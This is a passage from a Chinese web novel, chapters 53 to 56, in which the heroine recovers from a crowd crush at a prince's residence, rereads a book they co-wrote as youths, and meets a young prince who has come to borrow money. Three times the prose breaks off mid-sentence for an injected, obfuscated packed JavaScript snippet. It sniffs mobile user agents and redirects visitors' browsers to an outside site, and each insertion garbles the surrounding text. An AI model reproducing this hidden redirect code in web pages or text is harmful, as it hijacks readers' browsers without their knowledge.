胖妇人接了银子,顿时变作笑脸,满意地走开了。 她右脚痛得无法走路,站在原地四下里一看,这一片街道此刻堆躺了十来具成人和被踏死的小孩。她刚才感觉挤来挤去,应该移动了很远,可她还是在街心,甚至离巷子口都不远。 夏风吹拔,无数人撕心裂肺的哭喊震得她耳朵发麻,她抬头看那见证这一片混乱的酒楼,黑衣男子早已不在。这一场踩踏过后,和昌公主的生辰变成了很多家庭的噩梦。 冷汗被风吹得更冷,街道一端传来呵斥和一队人马走来的响动,她看了一眼,应是官府的人前来维持秩序了,隐约还听见几声“安分王”的呼唤。 她急忙收回视线,瘸腿忍痛躲进巷子里,绕到一窝破烂竹篮后面就地坐下,依靠破竹篮挡身形,静听街道动静。 巷子里黑黢黢,她衣服上沾了一点胖妇人身上的油烟味,胖妇人应当是个厨娘。 街外出现梁风焦急的怒喊和他迅速指挥卫队把控街道秩序和安排救助伤患的命令,她屈腿缩成一团,默默听着,手指试图理顺被撞散成一坨挂在肩膀的头发。 卫队乱而有序地行动起来,她脑海里反复出现刚才仅看了一眼不敢多看的小孩死面,那些小孩被踩死,面目圆睁,到死都没见到自己的父母。 脑中又浮现酒楼上那个黑衣蒙面人的模样。他就那么撒了钱,然后跑了,完全不顾后果。 那会是什么人?和梁风同时出现在这附近,而梁风又带着卫队,撒花钱是为了制造混乱躲避追捕吗?不是想做坏事的人应当不会做那副打扮。 可为什么这些人做事不想想后果? 她咬了咬牙,一时心中怨恨难当,禁不住回想了一下那年母亲在她面前为夫自杀的情景。她用力扯了一把头发,意识被转移,眼中却涌出一层泪来。 头发缠着她手指,怎么捋都捋不清楚,只感觉头皮越来越痛。 可胸口里一股气堵得更痛,她狠狠吐出来,扶墙站起,走出小巷,不看街道景象,低着头径直沿街边意图走出玄武街。脚踝很疼,却不敌心痛。 一瘸一拐走了几步,眼前恍惚出现方才梁风在马上灯下的样子,她又觉得后悔,不顾脚伤加急速度,想在他注意到前离开玄武街。 “金絮!” 她一顿,而后不顾一切猛地往前冲,身后脚步急追而至,她的手臂忽然被抓住,无法再向前,手臂接着被一扯,扭头就撞上梁风焦急的眉眼。 “你为什么会在这里?!” 他不可思议又心急,仔细察看她全身,拽着她不放手。金絮有些不敢看他。 “我先带你离开这里。” “不行。”金絮闻言立刻使劲推拒梁风,“你去救人。” “救你也是救。”他不由分说抱起她,走向荆风,抱着她翻身上马,再对场中某一人喊道:“敬先,这里先交给你了。” 有个声音回复了他,梁风便勒绳御马飞奔,街道始阔,行人避让。 金絮越过他肩膀看向横尸的街头,卫队众人指挥有序,妇孺哭声渐小。她放下了心,心神中一口气呼了出来,她突然感觉头晕。 “怎么了?很疼吗?”梁风手指蹭过她脸颊,温轻的声音问道。 也不知是放松了或是因何,她脑中不断地闪现水夭和火蓉昏迷时的模样,还有她未来得及见孙姨最后一眼。 “刚才我遇见你了对不对?你怎么不理我?” 他双臂拥紧她,金絮贴着他肩头,耳中渐渐听不到声音,悔恨充斥她的意识。 “我是不是每个时候遇见的人都会失去?” 一股强烈的怨恨和不甘刺激她的大脑深处,剧痛袭来,未等到他的答话,金絮昏睡过去。 53. 安分王府 “为什么躲着我?” “为什么上京了却不来找我?” “瘦成这副模样,你一点都照顾不好你自己。” 有人在摩擦她的耳鬓,半睡半醒间听见这人絮叨不止,她困得睁不开眼,偏头躲开继续睡。 睡得昏天黑地,直到被饿醒。 她挣扎着爬起来,脚踝一疼,稍稍清醒了些,好像是夜里,屋内昏暗,仅半盏烛火。看见床头有碗不知什么东西,她抓起勺子就吞,味道都没尝出来,吞完倒头又睡。 陌生的府邸,陌生的房间,陌生的床榻,陌生的枕头被子,却让她安心又结实地睡了整整两天。两天里,除了必要的洗漱出恭外,她没有下过床。 彻底睡饱了,她醒来睁眼惺忪茫然地看着天花板,看了不知多久。 尚有些困顿,但睡不着了。 大概是午时,窗户照进来的阳光蒸得屋内恹恹的。 这一大觉养神的效果十分不错,此刻感觉她的精神势头接近与梁风出游归来后的状态。 渴了,她微微一动,右小腿似是被块布帛吊着,限制了她的动作。她有些疑惑地立起脖子往腿上看。 床尾横了根杆子,杆下挂了片宽布,她腿绑着几条木板吊在宽布中悬着。 “你睡着时胡乱翻腾,几次压倒脚伤,我便给你挂起来,省得你伤上加伤。” 她扭头一看,梁风戴着面具的脸映入眼帘。 他端着杯放了稻管的水,喂到她嘴边,金絮迅速喝光,纠正道:“我睡觉很老实的。” 他一笑,“哪里老实?这次你伤得不轻,扭伤虽不伤及筋骨,但近几日内切莫随意下地走动。” 她且听且忘,不甚在意,随意甩头调整脑袋在枕头上的位置,结果扯得后背钝痛,看来在玄武街几个撞到她后背的肘击不是白撞的。 “又不听话,莫动了。”梁风敲了她一脑壳,摆好她的脑袋。 金絮甩头拂开他的手,不满地看着他。 梁风任她看,金絮看了几下想起什么,闭目扭头不再看他。 梁风无视她的眼神,坐在她床边,俯身捋顺她沾脸的发丝,“那夜为何出现在玄武街?” “凑热闹。不然还能做什么?” “那我看见你时,你怎转头就跑了?我当时还以为我看错了。” 她不说话。 “还有,踩踏发生后,你都听见我喊你了,为什么还要跑?明明脚都伤着了还硬要走,不怕就这样瘸了?” 她还是不说话,继续闭眼不看他。 “你跟我说话。”梁风微微生气道:“你在躲我,为什么躲我?” “不告诉你。” “为何不告诉我?” 她不想说便绝不会说,梁风独自一人小声地自语:“我知道了。你这次上京不是来找我的,但你同我说说话都不愿?我知你心情不好......” 只有屋外细细风声替她回应。 她久不答话,梁风几不可闻的叹息随风而逝,他放柔了声音道:“你独自一人在京,无人照顾,不如在我这里住一段时间养伤可好?” 她睁眼,木着脸睨他,明知故问:“这里是哪里?” “西苑,你从前住过的地方。” 她不露喜怒,“又想藏着我?” 他轻笑,“不想,但是很想。” 金絮心中犹豫,可现在确实很难照顾自己,默然一叹,点点头,答应了。 梁风似乎很高兴,“饿不饿,想吃什么?” “芙蓉糕。” 他即刻吩咐下去,金絮瞅见他面具旁的肤色,奇怪道:“你的脸还没好?” “李婶说没那么快。” “是准备养白么?” “嗯。” “我看一看。” 他俯身凑近,金絮取下面具,他脸上不说黑白分明,但色差仍然十分明显。许久没见这张楚河汉界的脸,她没忍住一笑。 梁风不动声色戴好面具,无谓她的嘲笑,“芙蓉糕是零嘴,晚些用,先用膳。” 丫鬟端饭菜进来,梁风扶着她坐起,架了张小案几在被榻上,布几样清粥小菜。 她瞧见送菜的丫鬟有些眼熟,不免多看了几眼,那丫鬟注意到她的打量,笑道:“姑娘,还记得奴婢么?奴婢是去年在王爷别院照顾您的小漫。” 金絮恍然大悟,“是你,我记起来了。” 小漫笑眯了眼,微微一福,“今后在府中就由奴婢照顾您了。” “那有劳你了。” 小漫盛粥,她尝一口,虽然是清粥,但王爷府的厨子做的就是不一样,只是太过清淡了。 “合不合胃口?”梁风问。 她点点头,“不过可以做得味重一点。” “明日再给你做。” 简单吃完,小漫收拾碗筷下去,梁风为她将枕头垫高。躺久了,她有点想下地走走了。 见他端来芙蓉糕,她立刻吃一块,随意地问:“十三呢?” 梁风闻言冷哼,“你不是早把他给打发了么?还记着他做什么?” “哦,这样啊,那就不记了。”她从善如流。 他顿时有点恼,“你遇到事了,又不同我说,自己偷偷上京,还把十三骗走。你同我说了,我又不是不会帮你。” “我为什么要同你说?”金絮反问:“我不同你说,不就是为了不劳王爷您帮我。” 他恼甚,“我遇到事不也会告诉你,你又何必与我分那么清。我帮你一回,下回你再帮我,你又不欠我什么,我若什么都不做,那我有何用?” 她一愣,话语脱口而出:“王爷您用处大着呢。” 空气瞬凝,隐隐带了嘲讽意味的话令他目光呆滞了一个眨眼。话一出口金絮就后悔了,眼看他神色微僵,可金絮也没想到他会如此说。 梁风手指蜷缩,掌心在膝上小幅摩动,像是不知能放哪里。她感到身体深处下意识一疼,想起上次也是这样,她一把抓住梁风的袖子,“你怎么还想着这些......” 他没说话,以眼神打断她。金絮与他对视片刻,见他眼中微现怨意,过后眼珠子跟着脸轻轻偏开,无声地跟她生气。 她手指一紧又松了,再向前一抓,抓住他袖中的手臂,“对不起。” 梁风眼睛闪烁了一下,情绪渐渐化开,继而转向她,道:“即便我不做什么,你同我说一说,我也能为你分担分担,你不必独自忍着。” 他反握住她的手,目光深深地看着她,“你还好吗?” 金絮上下牙根紧了紧,心里无奈叹口气,手掌回握以感谢他的体贴,“还好。”接着刻意岔开话题提醒道:“往后你也不要随意再安排人当官了。” 梁风更深地看她一眼,还是顺着话问:“为何?” 金絮盯着自己的手背,“你提拔的人若是做得不好反而给你添麻烦。” “徐礼?” “徐礼冲撞许大人的事情你知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839788|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了?” “嗯。” “给你带来什么麻烦没有?” “没有。许大人尚未返京,大概也不会将此事上报,这只是小事。而且,皇兄是知道徐礼的,他并未说过什么。” 梁风完全不放在心上,金絮却一笑道:“这昏君倒是盯你盯得紧,连你在地方上安排个小官都要知道,还特意与你说起,让你晓得他知道了。这不就是在提醒你,叫你明白你的一举一动都在他的监视下。” 梁风闻言微微蹙眉,沉思了片刻后没有说什么。 她接着问:“玄武街那天是怎么回事?” “抓捕一个逃犯。” “什么逃犯?” “盗贼。年后被抓了,抓了不久后被同伙劫法场,前两月在京城重新出现,一个月的时间就盗了七起。” “偷的都是什么东西?” “罕见的珍品。画、刺绣、玉石之类。” “都是大户人家的?” “嗯。” 她忽然怪了,“不会是劫富济贫吧。”她莫名想到了那些豪侠话本。 梁风也奇怪,“不清楚。目下还未查到此人将偷得的赃物卖去了何处。” “这人有点手段。” “嗯。” 她不再多言,本来与她无关,她现在只关心一事。 “我想下去走走。” “不行。” “躺了两天了。” “不行。” 金絮十分郁闷,心情又不好了,“那你再跟我说说,那个泰安侯世子又是怎么回事?建园林是要干什么?” 水夭的死状和未及见孙姨最后一面的悔恨再次涌上来,胸口一团火上冲梗在喉间燃烧。 “我很生气,建个破园子又死了几人?” “你莫动气。”梁风抬起了手,似欲抚抱她,临触碰时又收回手。 “这是几月前的事了,泰安侯世子确实想建园林,说是可供明年别国使者来朝入贡时赏用,以壮我朝声威,但相府以劳民伤财为由反驳了,结果丞相的指令还未下达,少府将作为了讨好泰安侯,自作主张将那片屋铺收购拆毁,丞相震怒,上报皇兄后,皇兄却未下达任何指令,似是默许了少府的所作所为。” 她明白了,这是皇帝和丞相之间的夺权斗争,这昏君从前用尽一切手段除掉了她父亲,安排一个亲信之人做丞相,这才过几年,亲信之人也倒戈开始和他谋权了。 她冷笑,“愚蠢的昏君。” “干脆把全天下的百姓都冤死好了,看他这个皇帝还怎么做。”她逞一时嘴瘾。 梁风没有任何生气的意思,仔细将手掌严丝合缝地贴她的手掌,“那片房屋至今无人处理,我询问过丞相,原因是国库空虚,修建房子的钱都没有。” “所以便无人管了?” “不,我管了。你莫动气。我上了折子给皇兄,提议将此事交予我全权处理。今日皇兄已允了。” 金絮一怔,皇帝与丞相夺权,朝堂里肯定所有人都不想参与其中,万想不到他竟揽下了这个烂摊子。 对上她的神情,梁风抬手抚摸她的鬓角,“你莫气了,与我说说话。” 她嘴唇相抿,怔怔地垂眼,却没有躲开他的手。 “我知道你心里委屈,你不要总忍着,你若对他们有恨,可以与我说说。” 梁风低声轻哄,金絮抬起头看他,眼前模糊不清,却感到他的指腹一下一下十分耐心地抚拭她的脸颊。 54. 《红叶书》 李婶说她需要静养。梁风便严厉要求她扭伤养好前不许走动,还加多了人手看管,得到她的再三保证后便忙于同时抓贼和处理泰安侯世子的烂摊子,整日不见人影。 金絮躺了这些天,感觉自己已经快和床榻融为一体了。 八月,三伏天即将过去,她在王府里吃好喝好,零嘴从未断过,供她打发时间的新鲜玩意儿源源不绝。 梁风每日回府都会先来找她说话,告知她案件进展,询问她这日饮食如何、伤势如何,直到七夕,她终于获得了下地走动的许可。 只是着地时脚踝微有不适,她便拒绝了梁风要给她拄拐的提议,由他搀扶着在府里各处逛了逛。 十二岁那年太南陷于乱军之中,她随母亲奔逃入京,那年年底昏君登基,朝堂狠狠动荡了一番,她不知究竟。隔年皇帝下了旨抄没金延守一家。一夜之间金家覆灭,母亲自杀前找了个女孩代她而死,金絮被梁风所救,藏在他府中半年。 那半年,她几乎整日闭门不出,即便出门也不可能有如此刻的心情参观他的王府。 府中景致与她那年见到的所差不多,府心湖名陈心,湖中种的仍是荷花,湖心亭仍是八角檐。 “这座亭子我还时常唤人打扫。” 梁风与她立在湖边,遥看木板桥圆润曲折延至亭脚,夜幕下湖水汨汨,涟漪反照月光,荷影重重。 她入亭看,檐角垂下的八片青色帷纱,颜色略浑显得稍旧,亭央茶榻铺着细竹席,榻上靠枕都还是长方红枕。这些东西梁风全没换过。 陈心湖沿廊走过去就是书阁,书阁一片漆黑,再过去就是竹苑,竹苑是王府主屋,他住的地方。 记得当初在他府里的半年她都没有进过竹苑,此番看苑内灯火通明,偶有仆人进出,以及正屋旁侧的府内最大书房,点烛不多,看起来藏在角落,显得幽深隐蔽。她起了进去一探究竟的心思。 “想进去看看?”他问。 金絮还是摇摇头,书房总让人觉得是谈些机密要闻的所在,外人进去不太好。 “不要紧,府里所有地方任你出入。” 她仍旧摇头,迈步想继续往前走,梁风拉住她,“那就回去吧,再往里面的楼阁都封了,没什么好看的,全府走一遍今晚都走不完。” “为什么封了?” “我一个人住不满,空的房屋就封起来了。” 安分王府七苑十殿,大小房屋共百零八间,他自己加上仆从暗卫都住不完。 这还是他没封国的住所,若封了国,就叫王宫了,只会更大。 “我平日里只在正殿到陈心湖的区域活动,其他地方很少去了。” “那我想进去看看。”她指着竹苑道。 梁风便扶着她进去了,丫鬟见他们走入纷纷点灯,苑内阔亮起来,金絮径直进入书房,他的寝屋就没必要去看了。 进门是待客的厅堂,堂后是张五步长的书桌,再后面的隔间有长榻,可供短憩。 书房三层,大于温柔馆前馆,一层是核心,处理事务、与人洽谈;二层以上存放案卷与文书,数目之多蔚为壮观,楼内采光通风尽善尽美。 她仔细打量,发现书房内部比从外面看起来要小,应该有暗室或暗道。不过她一眼都能发现,别人肯定也能,这暗室或暗道估计早不用了。 “我可以坐坐吗?” 她站于书桌后问道,梁风点点头,她便一屁股坐下。 桌面堆放许多书卷,除了离骚诗赋、孔孟之言和左传春秋这些正经巴巴之类,还有好几册话本与市井杂言,四宝昂贵精致,砚墨浓郁飘香,中央纸镇压着一张白纸,纸上书写密麻,她不多看。 梁风挨着她坐下,金絮往旁边挪了一点,给他让出书写的位置,这一挪,就看见左手边唯一一本单独平置的书。 扉面三字:红叶书。 署名:红叶生。 她拿起来看看正反两面,再看看梁风,他正也低着头看她,神色平静,似乎对她发现这书不甚在意,但那眼眸深处却有藏不了的星星希冀。 她不言语,翻看起来。 《红叶书》共五十四回,侠情话本,讲的是女主人公慕红与男主人公叶青从不打不相识到共挽门派于危局,最后携手同游江湖的故事。 如今看来,故事本身没什么亮眼的地方,格局不超出支郁笑长生的豪侠典范,叙事大开大阖,缺乏细节,甚至里面的人物都倾注了太多作者感情,唯部分诗篇可堪一阅。 但是,这本书却是她十几岁时与十几岁的梁风一同著完的,是少年们一时奋发热血的激情之作,难免失于粗糙,笔法上的排列比之《温柔新语》都弗如远甚。 “你说这是你找回来的?”她问。 他没答话,她笑道:“之前那本肯定找不到了,这本是你自己后写的。” 他脸上丝毫没有被戳穿的窘迫。 合著的那本在她从太南逃离的时候不知丢在了何处,金絮一直很懊悔,可实在找不到也没办法,估计早已燃烬于战火之中了。 而他独自重写的这本,除了内容相差较大外,细看下来,部分字句的处理和编排还是能发现不同,且只有他一人的字迹,纸张也新很多。 “但它仍旧是我们共同写的。”梁风道。他拿了支笔,“那你便将不同之处修改了,这两本书一模一样,就是同一本书了。” 金絮接了笔,“可我很多内容都不记得了,只记得大致情节,即便让我改,改了之后也不会是原来的样子。” 一段情节写成,过个几天重新写,都不可能完全一样,何况隔了数年。 他也清楚,没说什么,金絮却清晰看见他眼里的希冀褪暗。她放下笔,继续看书。 “那我们以后还能一起写吗?” “不知道。” 气氛陷入沉默。金絮合上书,端正地看着他,看他眉宇间的郁色。他忽然道:“还有一样东西给你看。” 说罢,在桌案右侧的隔层里取出一只小木盒,递予她。 金絮打开一看,是几封信件,她未细看,又盖上,无语道:“这几封信怎么还留着?” 似是不满她话里透出的些微无奈,他有些一根筋,“从前无人与我写信,我想留便留了。” “你那年寄给我的我都弄丢了。”她道。 一本那么厚的书都没能留下,这薄薄的几张信纸又怎么能留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839789|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得住。 他未露恼,金絮拆阅,纸张薄脆通黄,字迹勉强可辩。 这几封信都是她写给他的,总共就三封,内容模糊还能记得些。她阅毕,安妥收好摆放回去。 “还有什么是要给我看的?”她柔和着语气耐心问道。 梁风看起来却不甚开心,“你没什么想说的?” 金絮想了想道:“其实当时我也没有给别人寄过信,你是第一个,所以不太会写,这几封信里都是些废话和无谓的关心,没什么好看的。” 梁风不说话,垂下眼,紧抿着唇。 她只好道:“真要说的话,可惜的是我把你寄给我的那几封信弄丢了吧。要想写信以后再寄就是了。” 他绷紧的唇线松了松,“那我上月寄去太南的那封信你又没回我。” 她一噎,“我虽然没回你信,但我这不是直接来京城了?” “你又不是为我来的。” 她彻底噎住,梁风紧接着道:“那你便在这里住到中秋,你陪我过中秋。” 说着朝她伸出右手,掌心向上,她看见梁风手腕上系着她送给他的那条蓝白色发带,她怔怔道:“我不是一早答应你了,陪你过中秋的。” 他闻言似乎稍稍满意,略微一笑,自行握住她的手,“那便说好了,要一起过中秋的。” “嗯,说好了。” 夜色已深,梁风送她回屋,照顾她睡下后方才回去。 金絮裹在被子里久久无法睡着。 隔日,梁风一早出门,金絮用过早饭,想起一事,站于院中朗朗唤了一声:“十三。” 过了比往常都要久的时间,十三飞身落在她面前。 “属下在。” 自从上次让他换掉黑衣打扮后,梁风像是也放弃了他的暗卫身份,再没令十三穿过黑衣了,而现在又穿了回去,面罩也蒙上了,看着特别像和玄武街酒楼上那个撒花钱的黑衣人是一挂的。 金絮端正站着,直视道:“对不起,十三,上次我骗了你。” 十三似乎愣了一下,过了一会儿才吐出一句:“无妨的。” 他似乎不知道该说些什么。 金絮犹豫着问:“你当时找那花,找了多长时间?” “三日。” “哦......”她撇开了眼,既而又道:“不用找这么久的,下次再要你找些什么,找一日就够了。” 十三顿了一顿,才道:“是。” “那十三,你现在还听我说话吗?” “是。” “优先听我的,还是听王爷的?” “您的。” 她这下不免奇怪了,骗过十三一次了,梁风还会让十三优先听命与她吗?或者十三是奉梁风命在说谎。 她笑了笑,“十三,我十分信任你的。我现在有件事情想让你帮我做。” “是。” “有个叫林童忆的人你还记得吗?” “属下记得。” “他应该在前不久来京城了,你找找他,确认他的行踪。” “是。” 十三飞身远去。 金絮久久地站在院中,没有回屋。 55. 摘面具 又过十来日,脚伤完全好了。可她懒怠出府,府里各处清凉,挡住了末伏暑热。 这日夜里,金絮在陈心亭下吃葡萄,小缃在一旁奏琴。 徐徐琴音吹起融入湖水中的夜色,过季后荷叶枯败,只见叶形不见荷色,小鱼尾巴扑腾水面,像是鼓点,与琴音合奏。 小缃琴技不算特别好,而她难得如此悠闲,闲适的心境使琴声增添几分慵懒,听着也觉不错。 一曲罢,小缃收指,亭外丫鬟端来另一类应季瓜果,附小缃耳边低语几句。小缃听后皱起秀眉,小声斥道:“做事不细心些,两个人都走了,剩下那人该如何?尽让我为你们扫尾善后了。” 那丫鬟被斥了几句低头诺诺不说话,小缃与她福了福身后便带着丫鬟走开了。 金絮继续吃果,回想小缃因为梁风一句话就在青楼陪了她几年,去年回府后也升到管事丫鬟了,她早觉得几个姑娘里最不用人担心的就是小缃。 吃完一串葡萄,兴起,她摸了摸琴弦,跳出几个音,音不成曲。她管弦之技甚差,抚琴只能说是玩弄,不能说是弹奏。 随意过了把瘾,她换个姿势靠着,转眼看见梁风沿廊走来,他从无灯处步入灯下,自小厮手中接过面具,戴上,便进入亭中。 “在做什么呢?” “发呆。” 小厮奉上湿巾,他擦擦手,笑看她,“那我与你一起发呆好了。” “不要,我准备回屋了。” 这么说着,金絮越看越觉得他脸上有什么地方不对了。 梁风摘下一串葡萄,吃了几颗,葡萄鼓得他脸颊凸起,见她一瞬不瞬,道:“看什么?” 金絮仔细打量他的脸,接着梁风似是意识到了什么,转过头不让她看。 “转过来。” 梁风不情不愿地转过来,咽下葡萄,万般无奈地看着她。 金絮抬手取下面具,亭顶盛亮的灯笼下,他肤色白皙透黄得浑然一体。 她瞧着新奇,伸出指腹在他颊边划扇一抹。她看着自己的手指,指腹间细白的粉末莹莹有光泽。 她笑道:“堂堂大将军也会涂脂抹粉了。” 他瞪了她一眼,“我总不能那副模样去面圣。” 搓捻着指间白粉,金絮哈哈大笑。 不顾她的嘲笑,梁风哼道:“你就笑吧,你惯是会嘲笑我的。” 金絮只好用力忍住笑,但忍不住,捂着嘴笑得后仰,手中面具残留的温度一点点侵蚀她的手指。 梁风重重一哼。 在他逐渐羞恼的目光下,金絮呵出最后几个音,敛笑坐好,“好了,不笑了不笑了。” 梁风这才不瞪着她,抱怨道:“你以为我愿意?我每一见你,就要戴着面具,饶是李婶安排人在我身边时刻打伞都不顶用。” 金絮闻言,拿面具挡脸,不好意思地看着他,“我的错。” “知道就好。” “那我走了。”她赶紧起身,一溜烟地跑了。 他在后追一句:“慢点跑,面具还没还给我。” 金絮头也不回,放慢了脚步,垂头看着铺就月光的砖地,缓声低低道:“不用戴了。” 身后传来一道轻哼,接着踏风声吹过,梁风转眼间近至身旁,牵起她的手,嘴角笑容十分得逞。 金絮收回视线,也在夜色下轻笑,与他一起踩着月光留下步步脚印。 “我去太南找你时,若是没戴面具,你还会理我吗?” “会啊,我自然是理会王爷的。” 他继续牵着她往前走,一轻一重的两列脚步声渐渐合成了一道。 金絮回到屋内,站在铜镜前,将面具覆于脸上,左右看了看,清清一笑,将面具收好。 结果翌日大早,在院子里看见了更为好笑的一幕,将她尚未清醒的瞌睡直接打散。 梁风一早醒来在晒太阳,搬了张躺椅躺在清晨炎日的照耀下,似乎睡着了。 金絮凑近细看,只见他蒙了两块帕子在脸上,一块遮住上半部额头,一块遮住鼻以下,独独把肤色较白的部分露出来晒着。 她扑哧笑出声,笑弯了腰,梁风睁开眼,看见了她。 金絮收了笑,努力肃着脸。 梁风毫无动作,默默地斜眼看着她。 她微笑着贴近,抬手悬在他脸上半空,遮住直直晒着他双眼的太阳,“我有雪花膏,给你涂些可好?白得快。” 他神色稍缓,由她牵着进了屋。 金絮将他按在妆台前,让他对着铜镜,再洗块脸巾给他擦了擦,拧开雪花膏,沾指细细为他涂抹。 她涂着涂着注意到他眨也不眨地看着自己,便覆手遮住他双眼,道:“闭上眼。” 他乖顺地闭住眼。 涂完后,梁风告诉她:“李婶也说要给我涂这些,我说我不愿。” 她笑,“那现在怎么又愿了?” “无关紧要的事情,我自然不会拒绝你。” 她敛了笑,将指尖残留的雪花膏抹在腕上,收好东西,梁风牵住她的手道:“往后你都为我涂。” 她没应,甩手出门,“吃早饭去了。” 李晟备好了一桌早饭。 金絮首先试了下鱼粥,味道不好,便给梁风盛了一碗,等他坐下开动,边吃边问道:“那个贼抓到了么?” “还没,不过已经找到买家了。” “是谁?” “你猜猜。” 她想了想,摇摇头,“猜不到。” “是贾镇。” 贾镇? 她有些疑惑,“贾镇什么时候开始做这些了。” 贾镇爱面子,一直希望摆脱商人的地位,挤入士人之流,居然会做这类转卖赃物败坏名声的事情。 梁风神秘地笑了笑,金絮看出端倪,“你做了什么?” “没什么,只是上次那件事后我让他好好待在并阳郡出不来而已,做生意自然只能另觅他途,却没想到他居然会选择做这种事。” 贾镇是行商,每年几乎走遍整个中原,待在一个地方出不来的确是很难赚钱了。 她突然想到,许多条商路没了贾镇,势必会空出关节,若有人能趁此填补这些关节,重新打通商路,一定能狠狠赚一笔。就看贾镇手底下的人是不是机灵点的了。 只可惜,她现在分身乏术,也没什么太大的赚钱心思。 “我们那片房子呢?” “朝廷确实拨不出银子修缮,我预备由府里调银子填补。” 金絮思索道:“你出银子倒没什么,皇帝同意了?” 他点头。 金絮提醒道:“你这是在天子脚下夺民望。” “无妨的,我用的是朝廷的名义,与我无关。” “呵,那昏君又捡了个大便宜。” “对了,你那个小姑娘的铺子我也安排好了,补偿银子我直接给你?”他道:“我也能替你寄去太南,你那小姑娘去太南了是吧?” “嗯,那你寄过去吧。” “好。”梁风喝完一碗粥,夹了个包子给她,“你多吃些。” “我吃很多了。”她咬一口包子,喷香的肉馅有些腻味,吃起来还是不错的。 她问:“需要我帮你吗?” “不用,我手下人足够了,你安心住在这,吃好玩好就行了。”梁风盛粥,“别让我担心。” “有什么好担心的。” “我时时刻刻都在担心你,你平日里没事就多休息,睡不着就在床上躺着。” “再躺就要发霉了。”金絮皱眉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839790|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你好唠叨啊。” 梁风拿筷头敲了她一脑壳,“非要出门的话就带着十三。” “知道了。” 她不耐,迅速吃完跑了出去。梁风还要出门,她在府里也无事可做,便熟门熟路地溜进他的书房。 他这书房没什么秘密,养伤的后几天她就时常来这,里里外外看了个遍,没有密谋造反的纸条之类,没有传信的鸽子,没有机密图纸,就连她以为是密室或暗道的地方原来只是藏宝的暗格,从前皇帝赏赐他的各种宝物他都收在了这里面。 她真不知道说什么好。 选册话本,舒适地窝在长榻上,闲闲翻看起来。 《红叶书》她已经看了两遍,全书做好了修改,拿给他看,他却没有命人重新抄攥一份,而是原封不动地摆回桌案上。她也懒得理。 看着看着,困起来,她身子顺着榻枕往下一滑,闭眼睡觉。 模模糊糊好像没有睡着,忽然被一道“吱呀”声吵醒。 接着一声:“皇叔!”入耳。声音响亮,充满精气神,是名男子的声音。 她眨了眨眼,清醒过来,发现身上盖着张薄毯,手边的书不知何时掉在了地上。 继那声呼唤后,外厅传来脚步与细碎的话语,那陌生男子的嗓音十分嘹亮。 “皇叔今日怎么得空......” 声音小了下去。知道梁风是来了客,金絮坐起来,整理凌乱的外衣,叠好薄毯,准备离去。 “皇叔居然藏了人!是不是敬先上次说你带走的那个?我要看!” 然后是梁风压得极低的斥责声音:“莫胡闹。” 再然后说的什么她就听不清了。 梁风少有客人,她来府里这大半个月都不见有人登门拜访他,这还是第一个,只是不知是谁。她心中开始猜测这人的身份。 唤他皇叔,那肯定是皇帝的儿子了。声音听起来很年轻,又能在他府中自由出入。不知是哪位皇子。 好像皇帝的儿子年纪都不大。被废的太子年纪最长,但也和梁风差不多。 她犹豫着要不要出去。 外间谈话声小了,她确定身上不显凌乱后走了出去。 绕过屏风,一眼看见的是梁风背对着她的身影,而他面前站着一名男子。 确实年轻,年纪似乎比她还小,应当刚及冠。 梁风语气稍显严厉地斥道:“又赌输了?每次赌输了就知道来找我了。” 他一副长辈训斥晚辈的口气,那男子原本低头乖乖听训的模样,在抬起头时越过梁风看见了她,微微睁圆了眼。 梁风亦有察觉,转身看到她。 金絮福身分毫不差地行礼,“民女参见皇子殿下。”稍错身再一礼,“王爷。” 梁风走近,执起她的手,轻声道:“吵着你了?” 她摇摇头,小心抬眼看向他身后,恰巧对上那皇子打量她的视线。对视了一瞬,皇子的眼神亮了亮,渐变探究与好奇。 她猛然反应过来,一个平民怎能贸贸然与皇子对视,遂低下头。 梁风捏了捏她的手,牵着她走出书房,柔声哄道:“你再回屋睡一会吧,我有点事。” 金絮点头,梁风回屋并关上了门。她原地轻踏了两步,便站在门外静听着。 “皇叔居然会藏人了!那是谁啊?” 梁风略微不耐道:“说吧,要多少?”他没答皇子的问题。 过了一会儿,梁风道:“五百两?” 又过一会,他又道:“五千两?” 停了一瞬,梁风怒道:“找你爹去!” “父皇会打死我的!皇叔你不能不管我~” 皇子佯哭着,金絮反应过来,原来他身边也有个凝荷。 她笑了笑,转身回房。 56. 《风情稿》 皇子没久留,很快走了。似乎来一趟真的只是为了要银子的。 梁风送走皇子,回来告诉她:“那是七皇子,名与義。” 金絮恍然,“他好像与你关系不错。” “不错?与義每次只在欠了银子时才记得有我这个皇叔。” 